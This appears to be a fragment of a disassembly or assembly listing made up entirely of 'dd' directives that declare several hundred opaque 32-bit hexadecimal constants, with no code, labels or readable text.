dd 562817EFh, 0F84103A3h, 0F110D381h, 0A8C034D2h, 5AEAC331h
dd 0B8D8BE12h, 0E3B4E0h, 0A8F9BF57h, 441E39D6h, 35E0A700h
dd 346E6DB3h, 759701C6h, 1AE60274h, 2AF3C8F5h, 0B1821200h
dd 4CC20759h, 0A3873C40h, 549BD900h, 9102A2A8h, 0F0DDA503h
dd 0B8D09DAFh, 1295F5h, 26FF7D96h, 0A6782167h, 6B53E607h
dd 3B00B4BEh, 0E98A5h, 9D322BFCh, 0CE5FAAD3h, 8D776600h
dd 44E32457h, 0C47900EEh, 69FF4FB1h, 0AB00591Ah, 0E2BDBA25h
dd 0E0AF9A67h, 0D1483954h, 5B2F8F84h, 0F0B580B1h, 3300FE4Bh
dd 704DC46h, 6D79B56h, 6972BDC9h, 1800F095h, 0DFA67A97h
dd 0F24CC334h, 89210010h, 7425C23Ah, 711E9D51h, 2680FAE7h
dd 0EBB2EE37h, 53DE0039h, 27DA97A4h, 1FE00DBEh, 0C4FB48h
dd 29B84AA9h, 41942B5h, 6E96F2A1h, 0C564C012h, 262CB0C0h
dd 180050F1h, 843C5750h, 0F6F200ABh, 0E1EFE078h, 5A1CCCEDh
dd 0F100DB45h, 4BA5E9DFh, 7510146Fh, 3C0EBCC0h, 0C3E0DC32h
dd 52DD2EC4h, 5B263Bh, 98AF7DCAh, 77E6Dh, 8068037Fh, 462EABEBh
dd 1BF67502h, 4099C684h, 0E1F0B79h, 0A036AF65h, 390F8DC0h
dd 0AD00F722h, 47B5122Eh, 2671779h, 1C7C5769h, 0CCC815FAh
dd 39F0E98Eh, 58761100h, 0DE5620F3h, 1071B1h, 27357DFCh
dd 22910A09h, 0D314FB00h, 64289B18h, 0F4CB00Dh, 0D20C513Dh
dd 37C2A80Ch, 15900860h, 0E48D9B65h, 0F747FEAAh, 58792464h
dd 54000083h, 452B4A46h, 3E00FEEAh, 85E1BF6Eh, 0E9FCE39h
dd 8F10959Bh, 4CA80FA0h, 0B100F4ABh, 8270E92Ah, 3C0C1Bh
dd 50A29257h, 37258660h, 0B4CBF60Fh, 8800763Ah, 0C27F45E8h
dd 82471838h, 8E70D8F2h, 0C57C3102h, 7DB8CC4Fh, 0E9EA5AC0h
dd 0E1EE437Bh, 15B0F4Ch, 87478A1Eh, 0E030DAD3h, 63D617ECh
dd 9BD840EFh, 8999CA20h, 3CDFD40Ah, 0C40F840Ch, 8066497Eh
dd 18CEC6B8h, 414B00CBh, 0EDA77596h, 0E903EEB8h, 849F5AD3h
dd 94AFA02Fh, 3C373D7h, 0CE372760h, 7BD81832h, 0B200769Ah
dd 3AF6A9A1h, 63F202h, 0C2E8F543h, 91A5D9D7h, 2724B700h
dd 0D1B636EDh, 0D8B85Eh, 93718513h, 14B4E150h, 40E0CEF5h
dd 5A1D7417h, 0FA8055E8h, 5B6C0802h, 32D61F67h, 204C7879h
dd 0EB039958h, 1513EFEAh, 93F3A0A0h, 6329A307h, 58253ABCh
dd 0AA5AE480h, 612C014Ch, 0B360E13Dh, 0B1A82037h, 0E289FB00h
dd 36EE1DC4h, 5D5C346Ch, 0DCDFC598h, 1A3FE124h, 2EA38E13h
dd 47BD6088h, 4CA43889h, 0B412C6EAh, 0E918004Eh, 0EDE339E6h
dd 26003D7Dh, 7B3C58ADh, 0D4A812Ch, 68521CFDh, 38428B62h
dd 0E72000AEh, 29EFB9Fh, 0C122D8A6h, 0A0C352BCh, 39324EF0h
dd 831CBF00h, 0DF190910h, 0F34600FEh, 89FDFBC8h, 0BB00A604h
dd 186C1490h, 0E4CCB720h, 0DC541F84h, 0F94E87EFh, 0C50BB3B4h
dd 0B2ECC9A0h, 1FF13801h, 19CE0A2Dh, 0A096FBC8h, 0BA4DA4h
dd 6084CD87h, 37242A77h, 72986572h, 102B9230h, 0F8B050h
dd 1333AA11h, 7DDE3C14h, 5501A870h, 848F9B91h, 0D82429A2h
dd 0FBA90199h, 0A86878BFh, 5F8CCCC9h, 6310D700h, 0F33E2726h
dd 0B73B00FFh, 0AF40FC6Ch, 5200AC44h, 828B1460h, 0E7AA210h
dd 0ED7B3FAEh, 9FBD0C62h, 2A96DC40h, 0DD045373h, 0B084690Dh
dd 9BD271C0h, 0EBBD05C7h, 0D00FF299h, 0DF903748h, 9A5C100h
dd 15C2FECAh, 62360E03h, 98C06EC0h, 7558C983h, 0C7F34500h
dd 0D7067A41h, 0ED432EA0h, 0EA5C0021h, 0DA7D0588h, 0A600D6FAh
dd 0E232C2A7h, 24538D63h, 182C3Ah, 0F97BB12Bh, 2100FC27h
dd 0E77C368Fh, 7F4B9Dh, 0DEA3C016h, 7858A18Bh, 53DB2400h
dd 5DCD01B3h, 6CE80005h, 0E597F098h, 9A12095Eh, 9037729Dh
dd 0FA071130h, 2DE600DFh, 0D4BFB9B5h, 0DB77A8DAh, 0F4534Ch
dd 0C74A430Fh, 50E78B2h, 0CFCA0D35h, 57108079h, 5C17E594h
dd 0A00037B5h, 40FD6F6Ch, 0B9C400F9h, 1BB14D59h, 0C3608ED3h
dd 3A965810h, 7A8A002Ah, 0CC18BAFAh, 420009F3h, 224A200Eh
dd 28E0C6Ah, 0F2A80255h, 0D6614BC7h, 0A741802Ch, 7F9C3C45h
dd 8CA900E5h, 0EB36EF32h, 9E1E02A8h, 15009B40h, 1CE38A86h
dd 5AC30907h, 1C0734A7h, 0F490A97Bh, 210053FCh, 0CA852258h
dd 0E455D62h, 0E3AA6675h, 0C633F8A0h, 50B02F47h, 3C271D3Eh
dd 0CCEB2418h, 0B092140Fh, 214610h, 71D77C40h, 7724FCC0h
dd 107897DDh, 38FDE00h, 3B0A3396h, 0BFE3832h, 414AAB00h
dd 0E3069838h, 8A375A09h, 3A180028h, 87D812h, 25FBF12Ah
dd 6A48CA5Bh, 44FC38h, 39112350h, 9465C117h, 9C7D0794h
dd 0A1DF0037h, 0F759400Ch, 2A1907BCh, 9F603596h, 3F259B2h
dd 61707404h, 0B788D5B6h, 0DC0AE2DBh, 0EC6D3306h, 3A550283h
dd 2488FCB0h, 703900CBh, 96314ECEh, 0EE1C15F0h, 0E14002CDh
dd 40B4A53Ah, 397F0Eh, 0B5FADAFDh, 0CCBB6FE9h, 13C50500h
dd 9669D3DCh
dd 1E1B0446h, 0D3F2D2D4h, 7F980CD4h, 2A00E873h, 36DA46B1h
dd 48F185Dh, 7DA4AAA2h, 0ADD080ACh, 0B4076F53h, 0C62A8404h
dd 90DB9613h, 0B8FDB6h, 6DF04425h, 0C03FB3F3h, 1706C400h
dd 0E6277031h, 0DA83056Fh, 570FBB4Fh, 8EB01DB0h, 68209ECCh
dd 0CD5FCEE8h, 41441403h, 0C217F825h, 0ED04046h, 0EAAF3DA9h
dd 24B56600h, 11733723h, 4F915918h, 1C6D3F11h, 9D63F0h
dd 7D90B146h, 5916C5C6h, 881A054h, 602C93E3h, 7710AE00h
dd 1471E707h, 0CFF090CFh, 0B340FCD1h, 4AEC683Bh, 9923009Ch
dd 326DE8E0h, 0B502DE0Eh, 7EEA101Dh, 96C84021h, 70090008h
dd 9A52AB81h, 0C6267AA3h, 3000D0BCh, 0EBBBAFDEh, 0CCB05C68h
dd 9F591F00h, 958BCE88h, 0C6B84503h, 0BB9D09h, 9B5CB630h
dd 5F26E290h, 1D4DD81Fh, 0B494C780h, 98FCF6Dh, 4BB31331h
dd 88B55980h, 5900B60Ch, 32895E9Ah, 1A4F7FFh, 0E4E0015Fh
dd 20D18114h, 0FD0B1A89h, 44B768h, 4659D4C2h, 3D03002Dh
dd 120FDF4Ah, 0DE001578h, 2E33B0E0h, 90EAC3A9h, 0CF7A07D4h
dd 0C22B4Fh, 0BAD3191Dh, 28B4AB00h, 38923BDEh, 548B008Dh
dd 815A3D06h, 0EE07E2C3h, 0A8D8D372h, 7AC92690h, 173D9A01h
dd 40FF1DAEh, 4F5C0ED4h, 0DD00CB9Ch, 0C2311905h, 2EDFB55Ah
dd 241C1B95h, 17AA708Ch, 7800CCE4h, 1F6555A7h, 913969h
dd 50560912h, 7A018229h, 3B00FF74h, 0DCBF8946h, 0AF1D26h
dd 389EAD73h, 0A7C82AFEh, 806E1F3Ah, 0EC146717h, 14537D2h
dd 7D180F50h, 0E02D84D5h, 1002F223h, 52636ABAh, 0B78E6EBh
dd 0C9B894CCh, 55FAD780h, 0F601F449h, 52CFA612h, 1D04D9Dh
dd 64E600CAh, 4110681Bh, 0BA097EC8h, 5A56E8h, 0CAC723BCh
dd 7B07B7Ch, 0E539CD4Dh, 3FF2106Ch, 94005572h, 461DB66Bh
dd 1DDD2CA0h, 8037EE31h, 5B782FF1h, 0B006996h, 0F7AD411Dh
dd 0D2E902DDh, 2701AE20h, 4594892Eh, 0CE08846Ch, 34003326h
dd 0E0BA5FD7h, 124F74A9h, 0C3C38ACh, 0CA18D190h, 0CF2875F8h
dd 891818F7h, 0C8495A8Dh, 41531E85h, 230FBAC4h, 400FFFDh
dd 0A1CE86C1h, 0CFF6B500h, 9FBEE5Bh, 0B4F00881h, 2E00563Ah
dd 0A198BAD2h, 20A55D5Ah, 0B3DF1E7Ch, 6B104592h, 505A8030h
dd 8A00B519h, 8CABE822h, 9471586h, 52688879h, 99480FDh
dd 2CDE020Dh, 86008D2Bh, 6957E1B7h, 9952D000h, 98AA5C8Ah
dd 9AD71F8Fh, 93BA008Dh, 88A62F3Fh, 0E0865E24h, 5AFFBE03h
dd 7AC08F4Ch, 0F85759h, 0FA19283Bh, 3F8E2169h, 0EB734400h
dd 7267D9CCh, 387E06Fh, 624B9BB9h, 6D90502Eh, 1198CA42h
dd 0FD17A700h, 8293E746h, 0F124018Dh, 79AEC520h, 0AB792038h
dd 757D1470h, 2CE63300h, 10C03ABDh, 0DE2200C4h, 0A7EB6E8Eh
dd 593E3772h, 32660FC6h, 5EB980E4h, 0A8342A0Bh, 0FB4ECCh
dd 7AA1329h, 178938BBh, 604608CBh, 5238498h, 883D352Ah
dd 6ECE82CFh, 421290A0h, 0D1008A48h, 0BB7D8B9Ch, 2BD4CEh
dd 87E57EDDh, 0A9E342DCh, 64B7EA1Ah, 36364088h, 8EE60953h
dd 1800091Fh, 29FC5EB8h, 2A3E48A8h, 3FA9DE11h, 35D5584h
dd 0D82A2973h, 2FDD1250h, 0B5005A85h, 80DA94E2h, 5B8F3412h
dd 0B2E93447h, 44E72B42h, 86940114h, 730CB197h, 72B8E430h
dd 208908C9h, 995E7400h, 0EA710FF6h, 5DC03E76h, 36C54EF5h
dd 3B000C91h, 0EE87FAB4h, 3299191Ah, 816509DAh, 0FAFF1B21h
dd 67C81925h, 4F7101ECh, 0CB5B180Eh, 0D472CDF8h, 8E00CE10h
dd 245D2FB2h, 3F884AC2h, 0CA0C4F0Dh, 0EC7830EAh, 32E8E00h
dd 0A873C447h, 28A073Bh, 0FCB6D8h, 193D2FB8h, 0BD127900h
dd 0C7079772h, 0BB7F00E4h, 65D8870Ch, 8C005195h, 15528A7h
dd 1F14D7AEh, 0C7C94EDDh, 39B08AC8h, 0F4F75480h, 0A005C79h
dd 0B156BF9h, 1C3A790h, 292BFBD2h, 0F853DA4Ah, 2009B63h
dd 0DDF15852h, 77EBA6C9h, 5BEF002Fh, 0E5AB541Ch, 61769DEAh
dd 0F3E6C400h, 1A0A2ED4h, 7EF500E1h, 0C6CEB0D5h, 0B3007239h
dd 0FFD11612h, 18EEF9Eh, 6C0E547Fh, 70C3F307h, 948E9E6h
dd 42303380h, 418098DCh, 0C71D00DAh, 0C9FF271Ch, 0FA009166h
dd 39738523h, 1FDC1B65h, 0DEE58E5Dh, 0DE32C319h, 0F698EB98h
dd 9A036638h, 1D5AA769h, 0A344B0DCh, 5018C09Fh, 4AE3949Bh
dd 981080F3h, 19E65FEFh, 0CF5B0059h, 7310C589h, 0E10061C4h
dd 0A40D2277h, 7C9843h, 0ACF25D99h, 2A827E0h, 3126CCEBh
dd 0F5093DECh, 0F31A69h, 95D59AB0h, 0C1D91880h, 111201Fh
dd 0A21A6A0Fh, 73900354h, 6D1B98E4h, 0A9B80009h, 9BB31EAEh
dd 831C1A6Ch, 4A40665Dh, 0A220C510h, 0EB460948h, 7680CE37h
dd 72ACEFEAh, 0A038B105h, 0F3C0328Ch, 7CC259F1h, 30E809B0h
dd 0E68064C4h, 0C82C6890h, 0B08A38CFh, 1A01374Ch, 0C7CE2D9Eh
dd 0F1209D64h, 0C9A1ED06h, 49670011h, 0BC4CD88Bh, 481DCDD2h
dd 5D0DD324h, 0BE602062h, 6F560188h, 0BE50B37Ah, 78888D84h
dd 889D3008h, 70BDC735h, 0F360CC2Bh, 885B0E8Ch, 0D3E84CD2h
dd 0FC526264h, 0B9B100D8h, 4806EBAAh, 77B2170Ah, 0A63A01F2h
dd 0C41E4A23h, 30C070CCh, 8B8184C7h, 62EC1EBBh, 0F2E107EEh
dd 1EA2C3EDh, 18322000h, 7DB3F58Bh, 36ECFC45h, 5849AAFCh
dd 10C12030h, 0A55EEBh, 0C03F2732h, 0DA5443FAh, 25425600h
dd 39ACE1BCh, 629C1C97h, 0D2D487DCh, 3CBD63A6h, 59147DE0h
dd 7CCD601h, 1A46746Ah, 0BED060h, 972A863Eh, 62A36642h
dd 0FDE35703h, 0DCBDFAh, 53391D40h, 1B83EEA5h, 7AFC455Ch
dd 0E06082E8h, 50917C20h, 36800DFh, 155E551Fh, 0D90CF4C0h
dd 48599052h, 0FBDF002Bh, 1A62A5D2h, 10006A1Ch, 0A6E6DED5h
dd 0C34DCC7h, 93A7F41Bh, 0A8120631h, 4074108h, 9E40DED4h
dd 0A0C63Bh, 0D0DCBE19h, 5A7207B0h, 5FFAE800h, 2878AFB5h
dd 19D90236h, 660D30C6h, 87D8CB81h, 0D178B476h, 0CB10702Fh
dd 0EDDDC0DCh, 464D09h, 921FC335h, 0F3ECC502h, 31DFBF00h
dd 81A84367h, 89C60C73h, 8261609Fh, 0D619E400h, 0BB3C4B93h
dd 7F34049Eh, 0C161BAh, 0D41B6C5Bh, 4B3600D0h, 8F119A2h
dd 0BF02F6ACh, 1FABA726h, 7CE4A0DAh, 3E41DD5h, 0C566D247h
dd 831FB59h, 0FD992177h, 98172A30h, 5A7318F4h, 0AE46F995h
dd 3100C7F8h, 81A99913h, 5551737Ah, 76D0B8B5h, 30DF79C6h
dd 942082EFh, 6A00A6FFh, 43B97FAh, 0F2F905h, 38EA6C58h
dd 9B0A886Bh, 3173E705h, 0F207ACF8h, 0B3607983h, 0E26BD56Eh
dd 7F9F004Ch, 0D98D123Dh, 0C400E1B8h, 742DB025h, 0F6110798h
dd 12BE3F8Ah, 20B92498h, 2E00654Ah, 278DB572h, 0ED8EB01h
dd 0B45BE9B8h, 0C0DEA360h, 518C4C1h, 59F2E37Bh, 1910C0E5h
dd 0C065F5C5h, 0DB6E6A03h, 0A378B137h, 76213D2Ch, 1D33F500h
dd 5FFE7B19h, 171C6200h, 2D65733Fh, 28ED6CE0h, 60D3688h
dd 11DD4B64h, 0B927CD8h, 5F3AC3C7h, 673350Ah, 2008B2EEh
dd 920564F4h, 0B81F9EABh, 0DFB280BAh, 0CA1881EDh, 1EB8E367h
dd 3D830062h, 9D4FE7ECh, 90A84A45h, 16868CD7h, 0A872DCBh
dd 64900D48h, 0EC474026h, 0CBAC30h, 41A5C398h, 0A0C0F78Fh
dd 0C151FB31h, 0B2FCCC3Ch, 2CCF530h, 29BC0006h, 6407E663h
dd 0DB004618h, 0A4109BC6h, 7671DEh, 0A12408C4h, 98B402DAh
dd 48B10400h, 0C59B8881h, 11B072h, 8D73D7E4h, 43300C5Dh
dd 3FA4FA03h, 0D0780E66h, 65CBB2h, 0DD48C19Eh, 0A7614957h
dd 2A00F573h, 566E5853h
dd 0D14CA3h, 0E985E6F9h, 48164544h, 1455BD00h, 388B80BFh
dd 332C0087h, 266B112Eh, 4900E494h, 0AEC76745h, 1D25157Ch
dd 4080DB16h, 4241C3B8h, 2AEAF760h, 39299600h, 214389B2h
dd 0A0A8005Ah, 590BB55Bh, 0F6EE1D3Ch, 0C6E9EE00h, 99B07FBEh
dd 0E6D40033h, 7C167E12h, 0E500C134h, 84CC2DAAh, 222642h
dd 0BD32B4BEh, 0ACAB8620h, 2CB74000h, 0E9823C31h, 48A57601h
dd 0B00632CBh, 31A90232h, 0D5526500h, 0E1FAADACh, 42E80F25h
dd 803D44DFh, 0BE4584DEh, 88C1BA71h, 0C4398882h, 0E0FB32CCh
dd 0CC7B3Bh, 0F5578E62h, 38AAC622h, 0B3DAB800h, 1FA4685Ch
dd 0F7E00039h, 0BB0DAF5Fh, 0C80038D4h, 0FCC9D45h, 97D908B7h
dd 7498E450h, 566A0A00h, 7FBD3711h, 39F018h, 556F4F9Bh
dd 0F2EE8A5Dh, 14506200h, 0ACEBE382h, 32F60063h, 0E980D24Ah
dd 0B0003A31h, 0C6C05C0Bh, 64C5B20Fh, 4ACBF17Fh, 0FD00BCF3h
dd 88A80AF0h, 0F6F90669h, 20B1DF06h, 8028973Ch, 90EB8636h
dd 48E9B3h, 0EE2AB727h, 304A9D10h, 0B0E10428h, 61AFC930h
dd 91BC8h, 0F58A8243h, 3F234814h, 495B3100h, 0C787CF13h
dd 37D703FFh, 0F743FB4Ch, 83711990h, 7C977E00h, 6052B6ABh
dd 0E0A94FCFh, 0DF129CDAh, 950399BAh, 0B07BD808h, 0CA2E7Dh
dd 46842957h, 936A8E88h, 72B91A0Bh, 0A0AE8ECFh, 0CDF6E5B8h
dd 58111E91h, 7EBC8017h, 85DAB224h, 223638C1h, 9F713E92h
dd 3EDCEE8h, 9FB11D7Dh, 0A591031Bh, 7E18BDE5h, 2EE85B4Bh
dd 80715918h, 0F0008ABh, 660A9C78h, 0FD180Ch, 0C379D829h
dd 9A3CF962h, 923BA11Dh, 120030E8h, 51A8AF7Fh, 7A8CFDh
dd 4FF3B9B8h, 34F19C01h, 3A8E8708h, 11748772h, 26F04C7Eh
dd 24A09A7Ah, 0F43E0E9Eh, 588D0078h, 0AA7C95DFh, 8B3000FCh
dd 3B28F9ECh, 94CF679Fh, 16C2A157h, 0EF0EE10h, 22C600A4h
dd 1F51605Dh, 0D907F7B0h, 1CE59B63h, 112DBE10h, 889C0015h
dd 0B337EA9Dh, 14000A12h, 0F820A94Eh, 7A1641E6h, 3D512C58h
dd 0DCC900ABh, 0BF50BAAFh, 2E5CAA00h, 41ADE19Ch, 0BD393AA1h
dd 0B878A800h, 5D5B9A50h, 7CE8DC00h, 1E4E970h, 0A55F3003h
dd 8A9FB0A0h, 22D2601Dh, 691F50B0h, 0EFB103B7h, 0D41E3C9h
dd 0A181DCE0h, 1E4730C5h, 7611F880h, 48ECF015h, 0FF00785Dh
dd 5F85062Dh, 0E000BF81h, 10765E98h, 7D8876Eh, 7A2F180Eh
dd 80FBA023h, 6B008AF4h, 593A711Fh, 0FF1FCh, 110E610Bh
dd 9E9170Ch, 0FE55FB00h, 0E4B447BBh, 81863C2h, 201F0DFFh
dd 54804AF7h, 3A0787A2h, 0EB620376h, 0F3E6CC6Fh, 110A5110h
dd 3F5640C0h, 0E5FA9FBAh, 21366184h, 0D0BB47FCh, 0CA003DADh
dd 4580444Ah, 7C26FD1Ch, 919A1352h, 96650194h, 80E1BA6Ah
dd 438E9338h, 0C069E7F9h, 0CBF64998h, 0B036DEDh, 336616B8h
dd 0C0A3B4h, 0CBBF3221h, 11BD82D2h, 0DBEBB200h, 7D601DF0h
dd 0F2220352h, 0E916D39Ah, 0E0583060h, 0C0E66AA4h, 29FFB710h
dd 3C0393F5h, 242C283Dh, 0BBA0A13Eh, 80D6209Fh, 659ADD29h
dd 0C3174FC4h, 71016F12h, 6A9521A1h, 30798CDCh, 3B180DF0h
dd 71812DA2h, 7C1215F0h, 172B010Eh, 2C807EDCh, 579CE011h
dd 22661307h, 0C810CE85h, 0B3E0FEh, 1439ACA4h, 98A6BCF9h
dd 0D6F71A00h, 9C5B727Ch, 692800FBh, 0EB6B07E4h, 6372AF10h
dd 0CAF44400h, 0C44AE388h, 0F04900FFh, 0AE01379Fh, 55014CB5h
dd 0EBA44DDAh, 93DCE20Ah, 6F470092h, 699AE475h, 0F201178Ah
dd 1AE09782h, 483099F3h, 21233B12h, 0FF5AD887h, 0F7FCB79Eh
dd 4AC39076h, 0B2031DE4h, 70C686A6h, 0F5A8C087h, 0A233006Eh
dd 4225641Ch, 0D800A12Ah, 0F7819302h, 7BF0B6Ch, 17DB06F8h
dd 2C16F076h, 37FCDD35h, 95E2BB00h, 0FA2BABA6h, 0F2F500C8h
dd 0F1C4821Ah, 390EBAACh, 0A04D1154h, 868D4428h, 752F1D93h
dd 82090C5Bh, 65000C20h, 0DC8F0FBAh, 5FDE73h, 2ED0CBBBh
dd 0AEB158BEh, 0F3BFF90Eh, 0B83F6078h, 0D386946h, 0F764A436h
dd 0F4688122h, 0CF94E843h, 3128CBFCh, 0E008011Fh, 222080B0h
dd 4CB9E8BDh, 51DE0129h, 5C88D059h, 5E9FE09Ch, 0A8B168DBh
dd 0E26DFB70h, 0DA11C59Eh, 4224806Ah, 0BA001C17h, 0B9FF6637h
dd 0B53F9A0h, 146D68B1h, 0E760B300h, 1518313Ah, 6651C54Ch
dd 5DF70041h, 52F5956Eh, 0A3011F9Fh, 344BBEB0h, 92E06C0Ah
dd 0C82C00FCh, 0F87FF2B6h, 0D5005B2Eh, 1001671Bh, 0F8F3195Fh
dd 0BC6E00B3h, 0FF64FAE8h, 76001CCCh, 3947C918h, 92BF05h
dd 10E2072Fh, 50BB2C1Dh, 0F7153007h, 42370C1Eh, 0B39304F0h
dd 0D16200D3h, 0B7CD2E31h, 0D5001EF5h, 57EB3250h, 1CCA65h
dd 5BB6C9CCh, 4BE58127h, 0D300E9ECh, 39C022ABh, 0FD521h
dd 8B713448h, 462C77FCh, 884DD100h, 0C169CD65h, 0D403003Ah
dd 0FCC6BF89h, 5D0084DCh, 1FCCB127h, 2FC38Ah, 814A536Eh
dd 8FFEDBCDh, 28DF8B00h, 9766D5D8h, 2B030FB8h, 0AEEFF4B1h
dd 9110C1ECh, 2D3C7875h, 660D06C0h, 1E18D827h, 2CD97E67h
dd 56F901BDh, 0DCE4B908h, 92701A96h, 0D63EBB00h, 0FC2ABF66h
dd 9A7C56h, 0B980545Dh, 0D713E8CEh, 2CCC600h, 5FC98B99h
dd 0DDE203A8h, 0DFF8FF10h, 4B802101h, 41DE140h, 0CCA7FCh
dd 3214D5D2h, 5F79729Ah, 330C0E2h, 0BEA031E0h, 7FE51DC7h
dd 0F680BBBCh, 222058BBh, 9D0E3512h, 0A055EB73h, 0DC7543A8h
dd 97974C8Bh, 9E513E03h, 7C887D6Eh, 8400894Fh, 0B1D81230h
dd 0EF1C57h, 9CC64EBFh, 0E1D1CD9Fh, 0B4D6BC28h, 940C8CE8h
dd 11B92FA1h, 0E570000Fh, 60E77A9Dh, 0C30BCFB0h, 70EE2944h
dd 9BD70099h, 920B9914h, 0C00AA74h, 132CA039h, 0A8D397h
dd 3BA75476h, 0AC6B7D0Eh, 8803FE75h, 0AEF94509h, 0A849F10Ah
dd 0B53100C3h, 8885154Fh, 0D0E5D778h, 1400AB87h, 6269C2ADh
dd 73B3548Dh, 1A1200BEh, 95E8EE42h, 93A04D3h, 17DC0099h
dd 0EDDEC82Bh, 0E0A005Fh, 8CC67E13h, 71F1AB7h, 540044E8h
dd 0CE846C6Dh, 631728C0h, 5CA530BAh, 0AB29E418h, 9A330100h
dd 2F88AFBCh, 91280098h, 0EDD7F5Eh, 21004F68h, 0F297FFE9h
dd 7B1A2EDFh, 487A0052h, 0A8ADC119h, 58EC4236h, 0CFD8006h
dd 0C0601A4Fh, 3FE96B41h, 4100DCE7h, 6D82C96Fh, 0EE31F0Ch
dd 0E4FB5379h, 954CFCA0h, 0D007C67h, 6DAEA297h, 0E1D29Ch
dd 0E8E50223h, 6C735F0Ch, 0E24D2A00h, 37D7D3C3h, 78011DEDh
dd 7BC14138h, 0F0902BDDh, 8CC2E62h, 4A2171h, 676BC4DBh
dd 3261DFEAh, 4D3FCF17h, 0D23E63FCh, 0CC4278Fh, 8FD8F5A0h
dd 172911C0h, 6D713478h, 0E300FA18h, 35FF3F10h, 305A8CDEh
dd 0A170CA06h, 0AA184223h, 0D860A293h, 627700EEh, 2A890D97h
dd 0F700C066h, 0B105528Fh, 8C6EC6h, 0CE2B0C9h, 0EEBBD9E4h
dd 29180100h, 6BD10F7Ch, 263C19CEh, 81EB0823h, 8231BA21h
dd 6030E54Bh, 0F560C7A8h, 86F9514h, 32C03528h, 21D25882h
dd 7491E533h, 7F320077h, 19D40456h, 0BD1EC631h, 9DC07276h
dd 67C59A53h, 238801A3h, 8DCA078Fh, 0BB3CE82Eh, 50AC3F01h
dd 0D455D0C6h, 0E88ECFCh, 78D2405Fh, 8302CE0h, 0A901BF94h
dd 0D0DA9FB9h, 59FC9DB7h, 90B8002Dh, 244266E2h, 0EB0B8792h
dd 80C4473Eh, 0C607C713h, 0BBCE00DFh, 77463897h, 10FA8DAAh
dd 80C27E3Eh, 569370E8h, 1C07E5BEh, 40D9D14Fh, 1ED822A7h
dd 0F4E510EAh, 0D54CB99Eh, 0EC3E1CEBh, 81C5D280h, 0EF39E2h
dd 0C014B370h, 19374BC3h
dd 1D630A00h, 76CDE991h, 4CFA02FEh, 6B6F9621h, 33135740h
dd 73EEA00h, 0F74FD23Fh, 0F42D2805h, 44DD38F3h, 5813380Fh
dd 59E271E0h, 0B500973Bh, 855C6291h, 12D7EAh, 416854CDh
dd 1673C0D2h, 0B05EEC14h, 0C1470098h, 5B55C76Eh, 0C0BD0083h
dd 0CF7479EDh, 0D600C5D5h, 0F72CDBA0h, 52931Bh, 8F0B1F40h
dd 36082663h, 0EA516A0Eh, 0BAF920BDh, 2C3C6Bh, 84E164CDh
dd 0EDA95E8Eh, 6009BFEh, 87C95C3Fh, 5C6E53EEh, 0A300F247h
dd 48DE8B50h, 0EF00FCC0h, 0F5064325h, 323E5Ah, 53D0DFFDh
dd 45564C5Ch, 4058EA00h, 0E024F28Fh, 0DD7A001Dh, 0A9157637h
dd 7200B389h, 56F0C50Eh, 0AC397Dh, 0F2291122h, 1DDFAD32h
dd 0BBE87403h, 0DBA6DDD1h, 0A9680021h, 0DB516B40h, 7A013620h
dd 0BD8FCB4Ah, 79840F3Ch, 0C11458EBh, 0DC8C13FFh, 7900A29Eh
dd 7FD33C0h, 906EBECBh, 74730089h, 1018CC19h, 0A73CE3B6h
dd 843680A1h, 3D240B78h, 0F8773Bh, 714C0F51h, 665B47F3h
dd 5DDFEF00h, 0F1696ED6h, 8AED3D70h, 0E11D3380h, 2DAD4C53h
dd 0E6D458h, 5002B4D8h, 74EE89F8h, 0AA860056h, 0A3994027h
dd 607BF4Eh, 4CC0B5BDh, 22C6E9C1h, 5F81880h, 0B9547339h
dd 9B566E03h, 3F21EC35h, 0C318CC40h, 0DE6A58C1h, 7EA6744h
dd 331E7EADh, 0C0A227D0h, 0D6193FCDh, 6447B500h, 9CF40211h
dd 652000AAh, 895FC418h, 0A9390F4Bh, 48E3C777h, 2C8E38B6h
dd 0F7F65706h, 60F8876Bh, 124E0886h, 0F960969Ch, 0DBDD4719h
dd 0BA060124h, 0D7281043h, 378450B4h, 69059A6Fh, 0E4CE6EC3h
dd 2B00A01Fh, 61D5A6D8h, 523F0021h, 0D01A6065h, 0D2264CBAh
dd 0AE016DF9h, 294757Fh, 0B3A3C8FFh, 0DF1F00ACh, 0CFE14767h
dd 0B10725FAh, 5C2D8905h, 911324DAh, 1B4C0500h, 2B2EBA8h
dd 4612156Eh, 88811971h, 80E2D302h, 1FF72E88h, 1D1CC649h
dd 23BA05Bh, 0CDA66866h, 0B5788DC0h, 2FB09000h, 0D664D148h
dd 0C0FCA049h, 0A7441C5Eh, 0AA898C18h, 31002E10h, 42691CD0h
dd 184DE316h, 0F1DC20F3h, 0A90E4956h, 0C0196E88h, 2AE26222h
dd 1B2B0015h, 3CD24DD4h, 0B4489EA6h, 94EA00CBh, 0B1B08740h
dd 9F6E0EB3h, 0E48079BCh, 0C73918C3h, 0B60F3Eh, 274DF587h
dd 2ABFD6E7h, 0C8F6DBh, 0BEB2484Ah, 4EB1BC55h, 0DC009EFAh
dd 7384B498h, 3752A2Dh, 28B64D4Ch, 0C0E8D478h, 30F0D50h
dd 690F08DFh, 0FA7EC058h, 0CCD10075h, 79FF3AF1h, 0F800FB0Bh
dd 2E1F3970h, 8EBC61h, 0B92335ABh, 6C12311Bh, 88B10B1Eh
dd 92C96780h, 1F5BCF04h, 1318708Ch, 0CDEDA0DAh, 722EBB00h
dd 7D90636Fh, 0D2700E27h, 2180A28Fh, 0BD5B576Dh, 66000BF6h
dd 5F59CDEh, 7CEF9E3h, 0F4A5EE44h, 2CB7D05Fh, 0C0F3A761h
dd 7B00873Bh, 0B648A30Ch, 0F8C586Fh, 7D120F16h, 0F73BD240h
dd 0ED7DA059h, 904E3Bh, 0B61E8B5Eh, 1934C4Fh, 4B012A3Eh
dd 0D852FC89h, 0B3006F99h, 22C407A8h, 7CA86DAh, 2DD5DC6h
dd 0D9E07012h, 0F501F393h, 0AB0967E3h, 92705154h, 0EB91DFCh
dd 3B9F09D0h, 5D187181h, 19C8DC56h, 2F653900h, 91F9FDEDh
dd 0AC870E6Dh, 9C208610h, 0D688CF78h, 0FD717600h, 3DFE3625h
dd 0D83F0083h, 49498DAh, 3E01E3FBh, 2CEA7968h, 418091EBh
dd 0D221D93Dh, 84002E1Dh, 965BB28h, 756333Ah, 0C07449E2h
dd 0BD5D5130h, 65B3E09Dh, 6CC8D00h, 0DD4A2E9h, 3FB7FE34h
dd 12808E21h, 0C4FED5D6h, 0F801D1E0h, 57C2B3E3h, 0F0BAEB43h
